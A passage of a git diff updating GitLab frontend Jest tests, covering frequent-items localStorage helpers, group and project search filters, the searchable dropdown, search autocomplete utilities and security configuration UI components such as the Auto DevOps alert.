+ it('adds 1 to the frequency, tracks lastUsed, and calls localStorage.setItem', () => {
+ expect(localStorage.setItem).toHaveBeenCalledWith(
+ MOCK_LS_KEY,
+ JSON.stringify([{ ...MOCK_GROUPS[0], frequency: 2, lastUsed: CURRENT_TIME }]),
+ );
+ });
+ });
+
+ describe(`when frequency is equal to ${MAX_FREQUENCY}`, () => {
+ beforeEach(() => {
+ frequentItems[MOCK_LS_KEY] = [
+ { ...MOCK_GROUPS[0], frequency: MAX_FREQUENCY, lastUsed: PREV_TIME },
+ ];
+ setFrequentItemToLS(MOCK_LS_KEY, frequentItems, MOCK_GROUPS[0]);
+ });
+
+ it(`does not further increase frequency past ${MAX_FREQUENCY}, tracks lastUsed, and calls localStorage.setItem`, () => {
+ expect(localStorage.setItem).toHaveBeenCalledWith(
+ MOCK_LS_KEY,
+ JSON.stringify([
+ { ...MOCK_GROUPS[0], frequency: MAX_FREQUENCY, lastUsed: CURRENT_TIME },
+ ]),
+ );
+ });
+ });
+ });
+
+ describe('with no existing data', () => {
+ beforeEach(() => {
+ frequentItems[MOCK_LS_KEY] = [];
+ setFrequentItemToLS(MOCK_LS_KEY, frequentItems, MOCK_GROUPS[0]);
+ });
+
+ it('adds a new entry with frequency 1, tracks lastUsed, and calls localStorage.setItem', () => {
+ expect(localStorage.setItem).toHaveBeenCalledWith(
+ MOCK_LS_KEY,
+ JSON.stringify([{ ...MOCK_GROUPS[0], frequency: 1, lastUsed: CURRENT_TIME }]),
+ );
+ });
+ });
+
+ describe('with multiple entries', () => {
+ beforeEach(() => {
+ frequentItems[MOCK_LS_KEY] = [
+ { id: 1, frequency: 2, lastUsed: PREV_TIME },
+ { id: 2, frequency: 1, lastUsed: PREV_TIME },
+ { id: 3, frequency: 1, lastUsed: PREV_TIME },
+ ];
+ setFrequentItemToLS(MOCK_LS_KEY, frequentItems, { id: 3 });
+ });
+
+ it('sorts the array by most frequent and lastUsed', () => {
+ expect(localStorage.setItem).toHaveBeenCalledWith(
+ MOCK_LS_KEY,
+ JSON.stringify([
+ { id: 3, frequency: 2, lastUsed: CURRENT_TIME },
+ { id: 1, frequency: 2, lastUsed: PREV_TIME },
+ { id: 2, frequency: 1, lastUsed: PREV_TIME },
+ ]),
+ );
+ });
+ });
+
+ describe('with max entries', () => {
+ beforeEach(() => {
+ frequentItems[MOCK_LS_KEY] = [
+ { id: 1, frequency: 5, lastUsed: PREV_TIME },
+ { id: 2, frequency: 4, lastUsed: PREV_TIME },
+ { id: 3, frequency: 3, lastUsed: PREV_TIME },
+ { id: 4, frequency: 2, lastUsed: PREV_TIME },
+ { id: 5, frequency: 1, lastUsed: PREV_TIME },
+ ];
+ setFrequentItemToLS(MOCK_LS_KEY, frequentItems, { id: 6 });
+ });
+
+ it('removes the last item in the array', () => {
+ expect(localStorage.setItem).toHaveBeenCalledWith(
+ MOCK_LS_KEY,
+ JSON.stringify([
+ { id: 1, frequency: 5, lastUsed: PREV_TIME },
+ { id: 2, frequency: 4, lastUsed: PREV_TIME },
+ { id: 3, frequency: 3, lastUsed: PREV_TIME },
+ { id: 4, frequency: 2, lastUsed: PREV_TIME },
+ { id: 6, frequency: 1, lastUsed: CURRENT_TIME },
+ ]),
+ );
+ });
+ });
+
+ describe('with null data loaded in', () => {
+ beforeEach(() => {
+ frequentItems[MOCK_LS_KEY] = null;
+ setFrequentItemToLS(MOCK_LS_KEY, frequentItems, MOCK_GROUPS[0]);
+ });
+
+ it('wipes local storage', () => {
+ expect(localStorage.removeItem).toHaveBeenCalledWith(MOCK_LS_KEY);
+ });
+ });
+
+ describe('with additional data', () => {
+ beforeEach(() => {
+ const MOCK_ADDITIONAL_DATA_GROUP = { ...MOCK_GROUPS[0], extraData: 'test' };
+ frequentItems[MOCK_LS_KEY] = [];
+ setFrequentItemToLS(MOCK_LS_KEY, frequentItems, MOCK_ADDITIONAL_DATA_GROUP);
+ });
+
+ it('parses out extra data for LS', () => {
+ expect(localStorage.setItem).toHaveBeenCalledWith(
+ MOCK_LS_KEY,
+ JSON.stringify([{ ...MOCK_GROUPS[0], frequency: 1, lastUsed: CURRENT_TIME }]),
+ );
+ });
+ });
+ });
+
+ describe.each`
+ description | inflatedData | storedData | response
+ ${'identical'} | ${MOCK_INFLATED_DATA} | ${FRESH_STORED_DATA} | ${FRESH_STORED_DATA}
+ ${'stale'} | ${MOCK_INFLATED_DATA} | ${STALE_STORED_DATA} | ${FRESH_STORED_DATA}
+ ${'empty'} | ${MOCK_INFLATED_DATA} | ${[]} | ${MOCK_INFLATED_DATA}
+ ${'null'} | ${MOCK_INFLATED_DATA} | ${null} | ${MOCK_INFLATED_DATA}
+ `('mergeById', ({ description, inflatedData, storedData, response }) => {
+ describe(`with ${description} storedData`, () => {
+ let res;
+
+ beforeEach(() => {
+ res = mergeById(inflatedData, storedData);
+ });
+
+ it('prioritizes inflatedData and preserves frequency count', () => {
+ expect(response).toStrictEqual(res);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/search/topbar/components/group_filter_spec.js b/spec/frontend/search/topbar/components/group_filter_spec.js
index 15b46f9c058..fbd7ad6bb57 100644
--- a/spec/frontend/search/topbar/components/group_filter_spec.js
+++ b/spec/frontend/search/topbar/components/group_filter_spec.js
@@ -1,13 +1,14 @@
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import { MOCK_GROUP, MOCK_QUERY } from 'jest/search/mock_data';
import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
+import { GROUPS_LOCAL_STORAGE_KEY } from '~/search/store/constants';
import GroupFilter from '~/search/topbar/components/group_filter.vue';
import SearchableDropdown from '~/search/topbar/components/searchable_dropdown.vue';
import { ANY_OPTION, GROUP_DATA, PROJECT_DATA } from '~/search/topbar/constants';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
jest.mock('~/lib/utils/url_utility', () => ({
visitUrl: jest.fn(),
@@ -19,6 +20,8 @@ describe('GroupFilter', () => {
const actionSpies = {
fetchGroups: jest.fn(),
+ setFrequentGroup: jest.fn(),
+ loadFrequentGroups: jest.fn(),
};
const defaultProps = {
@@ -32,10 +35,12 @@ describe('GroupFilter', () => {
...initialState,
},
actions: actionSpies,
+ getters: {
+ frequentGroups: () => [],
+ },
});
wrapper = shallowMount(GroupFilter, {
- localVue,
store,
propsData: {
...defaultProps,
@@ -62,12 +67,14 @@ describe('GroupFilter', () => {
});
describe('events', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
describe('when @search is emitted', () => {
const search = 'test';
beforeEach(() => {
- createComponent();
-
findSearchableDropdown().vm.$emit('search', search);
});
@@ -77,14 +84,31 @@ describe('GroupFilter', () => {
});
});
- describe('when @change is emitted', () => {
+ describe('when @change is emitted with Any', () => {
beforeEach(() => {
- createComponent();
+ findSearchableDropdown().vm.$emit('change', ANY_OPTION);
+ });
+
+ it('calls setUrlParams with group null, project id null, and then calls visitUrl', () => {
+ expect(setUrlParams).toHaveBeenCalledWith({
+ [GROUP_DATA.queryParam]: null,
+ [PROJECT_DATA.queryParam]: null,
+ });
+
+ expect(visitUrl).toHaveBeenCalled();
+ });
+
+ it('does not call setFrequentGroup', () => {
+ expect(actionSpies.setFrequentGroup).not.toHaveBeenCalled();
+ });
+ });
+ describe('when @change is emitted with a group', () => {
+ beforeEach(() => {
findSearchableDropdown().vm.$emit('change', MOCK_GROUP);
});
- it('calls calls setUrlParams with group id, project id null, and visitUrl', () => {
+ it('calls setUrlParams with group id, project id null, and then calls visitUrl', () => {
expect(setUrlParams).toHaveBeenCalledWith({
[GROUP_DATA.queryParam]: MOCK_GROUP.id,
[PROJECT_DATA.queryParam]: null,
@@ -92,6 +116,20 @@ describe('GroupFilter', () => {
expect(visitUrl).toHaveBeenCalled();
});
+
+ it(`calls setFrequentGroup with the group and ${GROUPS_LOCAL_STORAGE_KEY}`, () => {
+ expect(actionSpies.setFrequentGroup).toHaveBeenCalledWith(expect.any(Object), MOCK_GROUP);
+ });
+ });
+
+ describe('when @first-open is emitted', () => {
+ beforeEach(() => {
+ findSearchableDropdown().vm.$emit('first-open');
+ });
+
+ it('calls loadFrequentGroups', () => {
+ expect(actionSpies.loadFrequentGroups).toHaveBeenCalledTimes(1);
+ });
});
});
diff --git a/spec/frontend/search/topbar/components/project_filter_spec.js b/spec/frontend/search/topbar/components/project_filter_spec.js
index 3bd0769b34a..63b0f882ca4 100644
--- a/spec/frontend/search/topbar/components/project_filter_spec.js
+++ b/spec/frontend/search/topbar/components/project_filter_spec.js
@@ -1,13 +1,14 @@
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import { MOCK_PROJECT, MOCK_QUERY } from 'jest/search/mock_data';
import { visitUrl, setUrlParams } from '~/lib/utils/url_utility';
+import { PROJECTS_LOCAL_STORAGE_KEY } from '~/search/store/constants';
import ProjectFilter from '~/search/topbar/components/project_filter.vue';
import SearchableDropdown from '~/search/topbar/components/searchable_dropdown.vue';
import { ANY_OPTION, GROUP_DATA, PROJECT_DATA } from '~/search/topbar/constants';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
jest.mock('~/lib/utils/url_utility', () => ({
visitUrl: jest.fn(),
@@ -19,6 +20,8 @@ describe('ProjectFilter', () => {
const actionSpies = {
fetchProjects: jest.fn(),
+ setFrequentProject: jest.fn(),
+ loadFrequentProjects: jest.fn(),
};
const defaultProps = {
@@ -32,10 +35,12 @@ describe('ProjectFilter', () => {
...initialState,
},
actions: actionSpies,
+ getters: {
+ frequentProjects: () => [],
+ },
});
wrapper = shallowMount(ProjectFilter, {
- localVue,
store,
propsData: {
...defaultProps,
@@ -84,12 +89,16 @@ describe('ProjectFilter', () => {
findSearchableDropdown().vm.$emit('change', ANY_OPTION);
});
- it('calls setUrlParams with project id, not group id, then calls visitUrl', () => {
+ it('calls setUrlParams with null, no group id, then calls visitUrl', () => {
expect(setUrlParams).toHaveBeenCalledWith({
- [PROJECT_DATA.queryParam]: ANY_OPTION.id,
+ [PROJECT_DATA.queryParam]: null,
});
expect(visitUrl).toHaveBeenCalled();
});
+
+ it('does not call setFrequentProject', () => {
+ expect(actionSpies.setFrequentProject).not.toHaveBeenCalled();
+ });
});
describe('with a Project', () => {
@@ -104,6 +113,23 @@ describe('ProjectFilter', () => {
});
expect(visitUrl).toHaveBeenCalled();
});
+
+ it(`calls setFrequentProject with the group and ${PROJECTS_LOCAL_STORAGE_KEY}`, () => {
+ expect(actionSpies.setFrequentProject).toHaveBeenCalledWith(
+ expect.any(Object),
+ MOCK_PROJECT,
+ );
+ });
+ });
+ });
+
+ describe('when @first-open is emitted', () => {
+ beforeEach(() => {
+ findSearchableDropdown().vm.$emit('first-open');
+ });
+
+ it('calls loadFrequentProjects', () => {
+ expect(actionSpies.loadFrequentProjects).toHaveBeenCalledTimes(1);
});
});
});
diff --git a/spec/frontend/search/topbar/components/searchable_dropdown_spec.js b/spec/frontend/search/topbar/components/searchable_dropdown_spec.js
index 10d779f0f90..b21cf5c6b79 100644
--- a/spec/frontend/search/topbar/components/searchable_dropdown_spec.js
+++ b/spec/frontend/search/topbar/components/searchable_dropdown_spec.js
@@ -2,9 +2,9 @@ import { GlDropdown, GlDropdownItem, GlSearchBoxByType, GlSkeletonLoader } from
import { shallowMount, mount } from '@vue/test-utils';
import Vue from 'vue';
import Vuex from 'vuex';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import { MOCK_GROUPS, MOCK_GROUP, MOCK_QUERY } from 'jest/search/mock_data';
import SearchableDropdown from '~/search/topbar/components/searchable_dropdown.vue';
-import SearchableDropdownItem from '~/search/topbar/components/searchable_dropdown_item.vue';
import { ANY_OPTION, GROUP_DATA } from '~/search/topbar/constants';
Vue.use(Vuex);
@@ -29,13 +29,15 @@ describe('Global Search Searchable Dropdown', () => {
},
});
- wrapper = mountFn(SearchableDropdown, {
- store,
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
+ wrapper = extendedWrapper(
+ mountFn(SearchableDropdown, {
+ store,
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ }),
+ );
};
afterEach(() => {
@@ -45,10 +47,11 @@ describe('Global Search Searchable Dropdown', () => {
const findGlDropdown = () => wrapper.findComponent(GlDropdown);
const findGlDropdownSearch = () => findGlDropdown().findComponent(GlSearchBoxByType);
const findDropdownText = () => findGlDropdown().find('.dropdown-toggle-text');
- const findSearchableDropdownItems = () =>
- findGlDropdown().findAllComponents(SearchableDropdownItem);
+ const findSearchableDropdownItems = () => wrapper.findAllByTestId('searchable-items');
+ const findFrequentDropdownItems = () => wrapper.findAllByTestId('frequent-items');
const findAnyDropdownItem = () => findGlDropdown().findComponent(GlDropdownItem);
- const findFirstGroupDropdownItem = () => findSearchableDropdownItems().at(0);
+ const findFirstSearchableDropdownItem = () => findSearchableDropdownItems().at(0);
+ const findFirstFrequentDropdownItem = () => findFrequentDropdownItems().at(0);
const findLoader = () => wrapper.findComponent(GlSkeletonLoader);
describe('template', () => {
@@ -82,7 +85,7 @@ describe('Global Search Searchable Dropdown', () => {
});
});
- describe('findDropdownItems', () => {
+ describe('Searchable Dropdown Items', () => {
describe('when loading is false', () => {
beforeEach(() => {
createComponent({}, { items: MOCK_GROUPS });
@@ -96,7 +99,7 @@ describe('Global Search Searchable Dropdown', () => {
expect(findAnyDropdownItem().exists()).toBe(true);
});
- it('renders SearchableDropdownItem for each item', () => {
+ it('renders searchable dropdown item for each item', () => {
expect(findSearchableDropdownItems()).toHaveLength(MOCK_GROUPS.length);
});
});
@@ -114,12 +117,31 @@ describe('Global Search Searchable Dropdown', () => {
expect(findAnyDropdownItem().exists()).toBe(true);
});
- it('does not render SearchableDropdownItem', () => {
+ it('does not render searchable dropdown items', () => {
expect(findSearchableDropdownItems()).toHaveLength(0);
});
});
});
+ describe.each`
+ searchText | frequentItems | length
+ ${''} | ${[]} | ${0}
+ ${''} | ${MOCK_GROUPS} | ${MOCK_GROUPS.length}
+ ${'test'} | ${[]} | ${0}
+ ${'test'} | ${MOCK_GROUPS} | ${0}
+ `('Frequent Dropdown Items', ({ searchText, frequentItems, length }) => {
+ describe(`when search is ${searchText} and frequentItems length is ${frequentItems.length}`, () => {
+ beforeEach(() => {
+ createComponent({}, { frequentItems });
+ wrapper.setData({ searchText });
+ });
+
+ it(`should${length ? '' : ' not'} render frequent dropdown items`, () => {
+ expect(findFrequentDropdownItems()).toHaveLength(length);
+ });
+ });
+ });
+
describe('Dropdown Text', () => {
describe('when selectedItem is any', () => {
beforeEach(() => {
@@ -145,7 +167,7 @@ describe('Global Search Searchable Dropdown', () => {
describe('actions', () => {
beforeEach(() => {
- createComponent({}, { items: MOCK_GROUPS });
+ createComponent({}, { items: MOCK_GROUPS, frequentItems: MOCK_GROUPS });
});
it('clicking "Any" dropdown item $emits @change with ANY_OPTION', () => {
@@ -154,10 +176,41 @@ describe('Global Search Searchable Dropdown', () => {
expect(wrapper.emitted('change')[0]).toEqual([ANY_OPTION]);
});
- it('on SearchableDropdownItem @change, the wrapper $emits change with the item', () => {
- findFirstGroupDropdownItem().vm.$emit('change', MOCK_GROUPS[0]);
+ it('on searchable item @change, the wrapper $emits change with the item', () => {
+ findFirstSearchableDropdownItem().vm.$emit('change', MOCK_GROUPS[0]);
+
+ expect(wrapper.emitted('change')[0]).toEqual([MOCK_GROUPS[0]]);
+ });
+
+ it('on frequent item @change, the wrapper $emits change with the item', () => {
+ findFirstFrequentDropdownItem().vm.$emit('change', MOCK_GROUPS[0]);
expect(wrapper.emitted('change')[0]).toEqual([MOCK_GROUPS[0]]);
});
+
+ describe('opening the dropdown', () => {
+ describe('for the first time', () => {
+ beforeEach(() => {
+ findGlDropdown().vm.$emit('show');
+ });
+
+ it('$emits @search and @first-open', () => {
+ expect(wrapper.emitted('search')[0]).toStrictEqual([wrapper.vm.searchText]);
+ expect(wrapper.emitted('first-open')[0]).toStrictEqual([]);
+ });
+ });
+
+ describe('not for the first time', () => {
+ beforeEach(() => {
+ wrapper.setData({ hasBeenOpened: true });
+ findGlDropdown().vm.$emit('show');
+ });
+
+ it('$emits @search and not @first-open', () => {
+ expect(wrapper.emitted('search')[0]).toStrictEqual([wrapper.vm.searchText]);
+ expect(wrapper.emitted('first-open')).toBeUndefined();
+ });
+ });
+ });
});
});
diff --git a/spec/frontend/search_autocomplete_spec.js b/spec/frontend/search_autocomplete_spec.js
index 5aca07d59e4..c643cf6557d 100644
--- a/spec/frontend/search_autocomplete_spec.js
+++ b/spec/frontend/search_autocomplete_spec.js
@@ -1,4 +1,3 @@
-/* eslint-disable no-unused-expressions, consistent-return, no-param-reassign, default-case, no-return-assign */
import AxiosMockAdapter from 'axios-mock-adapter';
import $ from 'jquery';
import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
@@ -22,31 +21,33 @@ describe('Search autocomplete dropdown', () => {
const groupName = 'Gitlab Org';
const removeBodyAttributes = () => {
- const $body = $('body');
+ const { body } = document;
- $body.removeAttr('data-page');
- $body.removeAttr('data-project');
- $body.removeAttr('data-group');
+ delete body.dataset.page;
+ delete body.dataset.project;
+ delete body.dataset.group;
};
// Add required attributes to body before starting the test.
// section would be dashboard|group|project
- const addBodyAttributes = (section) => {
- if (section == null) {
- section = 'dashboard';
- }
-
- const $body = $('body');
+ const addBodyAttributes = (section = 'dashboard') => {
removeBodyAttributes();
+
+ const { body } = document;
switch (section) {
case 'dashboard':
- return $body.attr('data-page', 'root:index');
+ body.dataset.page = 'root:index';
+ break;
case 'group':
- $body.attr('data-page', 'groups:show');
- return $body.data('group', 'gitlab-org');
+ body.dataset.page = 'groups:show';
+ body.dataset.group = 'gitlab-org';
+ break;
case 'project':
- $body.attr('data-page', 'projects:show');
- return $body.data('project', 'gitlab-ce');
+ body.dataset.page = 'projects:show';
+ body.dataset.project = 'gitlab-ce';
+ break;
+ default:
+ break;
}
};
@@ -56,34 +57,31 @@ describe('Search autocomplete dropdown', () => {
// Mock `gl` object in window for dashboard specific page. App code will need it.
const mockDashboardOptions = () => {
- window.gl || (window.gl = {});
- return (window.gl.dashboardOptions = {
+ window.gl.dashboardOptions = {
issuesPath: dashboardIssuesPath,
mrPath: dashboardMRsPath,
- });
+ };
};
// Mock `gl` object in window for project specific page. App code will need it.
const mockProjectOptions = () => {
- window.gl || (window.gl = {});
- return (window.gl.projectOptions = {
+ window.gl.projectOptions = {
'gitlab-ce': {
issuesPath: projectIssuesPath,
mrPath: projectMRsPath,
projectName,
},
- });
+ };
};
const mockGroupOptions = () => {
- window.gl || (window.gl = {});
- return (window.gl.groupOptions = {
+ window.gl.groupOptions = {
'gitlab-org': {
issuesPath: groupIssuesPath,
mrPath: groupMRsPath,
projectName: groupName,
},
- });
+ };
};
const assertLinks = (list, issuesPath, mrsPath) => {
@@ -113,7 +111,7 @@ describe('Search autocomplete dropdown', () => {
window.gon.current_username = userName;
window.gl = window.gl || (window.gl = {});
- return (widget = initSearchAutocomplete({ autocompletePath }));
+ widget = initSearchAutocomplete({ autocompletePath });
});
afterEach(() => {
diff --git a/spec/frontend/search_autocomplete_utils_spec.js b/spec/frontend/search_autocomplete_utils_spec.js
new file mode 100644
index 00000000000..4fdec717e93
--- /dev/null
+++ b/spec/frontend/search_autocomplete_utils_spec.js
@@ -0,0 +1,114 @@
+import {
+ isInGroupsPage,
+ isInProjectPage,
+ getGroupSlug,
+ getProjectSlug,
+} from '~/search_autocomplete_utils';
+
+describe('search_autocomplete_utils', () => {
+ let originalBody;
+
+ beforeEach(() => {
+ originalBody = document.body;
+ document.body = document.createElement('body');
+ });
+
+ afterEach(() => {
+ document.body = originalBody;
+ });
+
+ describe('isInGroupsPage', () => {
+ it.each`
+ page | result
+ ${'groups:index'} | ${true}
+ ${'groups:show'} | ${true}
+ ${'projects:show'} | ${false}
+ `(`returns $result in for page $page`, ({ page, result }) => {
+ document.body.dataset.page = page;
+
+ expect(isInGroupsPage()).toBe(result);
+ });
+ });
+
+ describe('isInProjectPage', () => {
+ it.each`
+ page | result
+ ${'projects:index'} | ${true}
+ ${'projects:show'} | ${true}
+ ${'groups:show'} | ${false}
+ `(`returns $result in for page $page`, ({ page, result }) => {
+ document.body.dataset.page = page;
+
+ expect(isInProjectPage()).toBe(result);
+ });
+ });
+
+ describe('getProjectSlug', () => {
+ it('returns null when no project is present or on project page', () => {
+ expect(getProjectSlug()).toBe(null);
+ });
+
+ it('returns null when not on project page', () => {
+ document.body.dataset.project = 'gitlab';
+
+ expect(getProjectSlug()).toBe(null);
+ });
+
+ it('returns null when project is missing', () => {
+ document.body.dataset.page = 'projects';
+
+ expect(getProjectSlug()).toBe(undefined);
+ });
+
+ it('returns project', () => {
+ document.body.dataset.page = 'projects';
+ document.body.dataset.project = 'gitlab';
+
+ expect(getProjectSlug()).toBe('gitlab');
+ });
+
+ it('returns project in edit page', () => {
+ document.body.dataset.page = 'projects:edit';
+ document.body.dataset.project = 'gitlab';
+
+ expect(getProjectSlug()).toBe('gitlab');
+ });
+ });
+
+ describe('getGroupSlug', () => {
+ it('returns null when no group is present or on group page', () => {
+ expect(getGroupSlug()).toBe(null);
+ });
+
+ it('returns null when not on group page', () => {
+ document.body.dataset.group = 'gitlab-org';
+
+ expect(getGroupSlug()).toBe(null);
+ });
+
+ it('returns null when group is missing on groups page', () => {
+ document.body.dataset.page = 'groups';
+
+ expect(getGroupSlug()).toBe(undefined);
+ });
+
+ it('returns null when group is missing on project page', () => {
+ document.body.dataset.page = 'project';
+
+ expect(getGroupSlug()).toBe(null);
+ });
+
+ it.each`
+ page
+ ${'groups'}
+ ${'groups:edit'}
+ ${'projects'}
+ ${'projects:edit'}
+ `(`returns group in page $page`, ({ page }) => {
+ document.body.dataset.page = page;
+ document.body.dataset.group = 'gitlab-org';
+
+ expect(getGroupSlug()).toBe('gitlab-org');
+ });
+ });
+});
diff --git a/spec/frontend/security_configuration/components/auto_dev_ops_alert_spec.js b/spec/frontend/security_configuration/components/auto_dev_ops_alert_spec.js
new file mode 100644
index 00000000000..467ae35408c
--- /dev/null
+++ b/spec/frontend/security_configuration/components/auto_dev_ops_alert_spec.js
@@ -0,0 +1,55 @@
+import { GlAlert } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import AutoDevopsAlert from '~/security_configuration/components/auto_dev_ops_alert.vue';
+
+const autoDevopsHelpPagePath = '/autoDevopsHelpPagePath';
+const autoDevopsPath = '/enableAutoDevopsPath';
+
+describe('AutoDevopsAlert component', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = mount(AutoDevopsAlert, {
+ provide: {
+ autoDevopsHelpPagePath,
+ autoDevopsPath,
+ },
+ });
+ };
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('contains correct body text', () => {
+ expect(wrapper.text()).toContain('Quickly enable all');
+ });
+
+ it('renders the link correctly', () => {
+ const link = wrapper.find('a');
+
+ expect(link.attributes('href')).toBe(autoDevopsHelpPagePath);
+ expect(link.text()).toBe('Auto DevOps');
+ });
+
+ it('bubbles up dismiss events from the GlAlert', () => {
+ expect(wrapper.emitted('dismiss')).toBe(undefined);
+
+ findAlert().vm.$emit('dismiss');
+
+ expect(wrapper.emitted('dismiss')).toEqual([[]]);
+ });
+
+ it('has a button pointing to autoDevopsPath', () => {
+ expect(findAlert().props()).toMatchObject({
+ primaryButtonText: 'Enable Auto DevOps',
+ primaryButtonLink: autoDevopsPath,
+ });
+ });
+});
diff --git a/spec/frontend/security_configuration/components/feature_card_spec.js b/spec/frontend/security_configuration/components/feature_card_spec.js
index c69e135012e..3658dbb5ef2 100644
--- a/spec/frontend/security_configuration/components/feature_card_spec.js
+++ b/spec/frontend/security_configuration/components/feature_card_spec.js
@@ -3,6 +3,7 @@ import { mount } from '@vue/test-utils';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import FeatureCard from '~/security_configuration/components/feature_card.vue';
import ManageViaMr from '~/vue_shared/security_configuration/components/manage_via_mr.vue';
+import { REPORT_TYPE_SAST } from '~/vue_shared/security_reports/constants';
import { makeFeature } from './utils';
describe('FeatureCard component', () => {
@@ -126,21 +127,23 @@ describe('FeatureCard component', () => {
describe('actions', () => {
describe.each`
- context | available | configured | configurationPath | canEnableByMergeRequest | action
- ${'unavailable'} | ${false} | ${false} | ${null} | ${false} | ${null}
- ${'available'} | ${true} | ${false} | ${null} | ${false} | ${'guide'}
- ${'configured'} | ${true} | ${true} | ${null} | ${false} | ${'guide'}
- ${'available, can enable by MR'} | ${true} | ${false} | ${null} | ${true} | ${'create-mr'}
- ${'configured, can enable by MR'} | ${true} | ${true} | ${null} | ${true} | ${'guide'}
- ${'available with config path'} | ${true} | ${false} | ${'foo'} | ${false} | ${'enable'}
- ${'available with config path, can enable by MR'} | ${true} | ${false} | ${'foo'} | ${true} | ${'enable'}
- ${'configured with config path'} | ${true} | ${true} | ${'foo'} | ${false} | ${'configure'}
- ${'configured with config path, can enable by MR'} | ${true} | ${true} | ${'foo'} | ${true} | ${'configure'}
+ context | type | available | configured | configurationPath | canEnableByMergeRequest | action
+ ${'unavailable'} | ${REPORT_TYPE_SAST} | ${false} | ${false} | ${null} | ${false} | ${null}
+ ${'available'} | ${REPORT_TYPE_SAST} | ${true} | ${false} | ${null} | ${false} | ${'guide'}
+ ${'configured'} | ${REPORT_TYPE_SAST} | ${true} | ${true} | ${null} | ${false} | ${'guide'}
+ ${'available, can enable by MR'} | ${REPORT_TYPE_SAST} | ${true} | ${false} | ${null} | ${true} | ${'create-mr'}
+ ${'available, can enable by MR, unknown type'} | ${'foo'} | ${true} | ${false} | ${null} | ${true} | ${'guide'}
+ ${'configured, can enable by MR'} | ${REPORT_TYPE_SAST} | ${true} | ${true} | ${null} | ${true} | ${'guide'}
+ ${'available with config path'} | ${REPORT_TYPE_SAST} | ${true} | ${false} | ${'foo'} | ${false} | ${'enable'}
+ ${'available with config path, can enable by MR'} | ${REPORT_TYPE_SAST} | ${true} | ${false} | ${'foo'} | ${true} | ${'enable'}
+ ${'configured with config path'} | ${REPORT_TYPE_SAST} | ${true} | ${true} | ${'foo'} | ${false} | ${'configure'}
+ ${'configured with config path, can enable by MR'} | ${REPORT_TYPE_SAST} | ${true} | ${true} | ${'foo'} | ${true} | ${'configure'}
`(
'given $context feature',
- ({ available, configured, configurationPath, canEnableByMergeRequest, action }) => {
+ ({ type, available, configured, configurationPath, canEnableByMergeRequest, action }) => {
beforeEach(() => {
feature = makeFeature({
+ type,
available,
configured,
configurationPath,
diff --git a/spec/frontend/security_configuration/components/redesigned_app_spec.js b/spec/frontend/security_configuration/components/redesigned_app_spec.js
index 7e27a3e1108..119a25a77c1 100644
--- a/spec/frontend/security_configuration/components/redesigned_app_spec.js
+++ b/spec/frontend/security_configuration/components/redesigned_app_spec.js
@@ -2,6 +2,7 @@ import { GlTab } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import { makeMockUserCalloutDismisser } from 'helpers/mock_user_callout_dismisser';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import AutoDevopsAlert from '~/security_configuration/components/auto_dev_ops_alert.vue';
import {
SAST_NAME,
SAST_SHORT_NAME,
@@ -13,6 +14,7 @@ import {
LICENSE_COMPLIANCE_HELP_PATH,
} from '~/security_configuration/components/constants';
import FeatureCard from '~/security_configuration/components/feature_card.vue';
+
import RedesignedSecurityConfigurationApp, {
i18n,
} from '~/security_configuration/components/redesigned_app.vue';
@@ -23,6 +25,9 @@ import {
} from '~/vue_shared/security_reports/constants';
const upgradePath = '/upgrade';
+const autoDevopsHelpPagePath = '/autoDevopsHelpPagePath';
+const autoDevopsPath = '/autoDevopsPath';
+const gitlabCiHistoryPath = 'test/historyPath';
describe('redesigned App component', () => {
let wrapper;
@@ -36,6 +41,8 @@ describe('redesigned App component', () => {
propsData,
provide: {
upgradePath,
+ autoDevopsHelpPagePath,
+ autoDevopsPath,
},
stubs: {
UserCalloutDismisser: makeMockUserCalloutDismisser({
@@ -52,9 +59,30 @@ describe('redesigned App component', () => {
const findTabs = () => wrapper.findAllComponents(GlTab);
const findByTestId = (id) => wrapper.findByTestId(id);
const findFeatureCards = () => wrapper.findAllComponents(FeatureCard);
- const findComplianceViewHistoryLink = () => findByTestId('compliance-view-history-link');
- const findSecurityViewHistoryLink = () => findByTestId('security-view-history-link');
+ const findLink = ({ href, text, container = wrapper }) => {
+ const selector = `a[href="${href}"]`;
+ const link = container.find(selector);
+
+ if (link.exists() && link.text() === text) {
+ return link;
+ }
+
+ return wrapper.find(`${selector} does not exist`);
+ };
+ const findSecurityViewHistoryLink = () =>
+ findLink({
+ href: gitlabCiHistoryPath,
+ text: i18n.configurationHistory,
+ container: findByTestId('security-testing-tab'),
+ });
+ const findComplianceViewHistoryLink = () =>
+ findLink({
+ href: gitlabCiHistoryPath,
+ text: i18n.configurationHistory,
+ container: findByTestId('compliance-testing-tab'),
+ });
const findUpgradeBanner = () => wrapper.findComponent(UpgradeBanner);
+ const findAutoDevopsAlert = () => wrapper.findComponent(AutoDevopsAlert);
const securityFeaturesMock = [
{
@@ -119,6 +147,10 @@ describe('redesigned App component', () => {
expect(cards.at(1).props()).toEqual({ feature: complianceFeaturesMock[0] });
});
+ it('renders a basic description', () => {
+ expect(wrapper.text()).toContain(i18n.description);
+ });
+
it('should not show latest pipeline link when latestPipelinePath is not defined', () => {
expect(findByTestId('latest-pipeline-info').exists()).toBe(false);
});
@@ -129,6 +161,44 @@ describe('redesigned App component', () => {
});
});
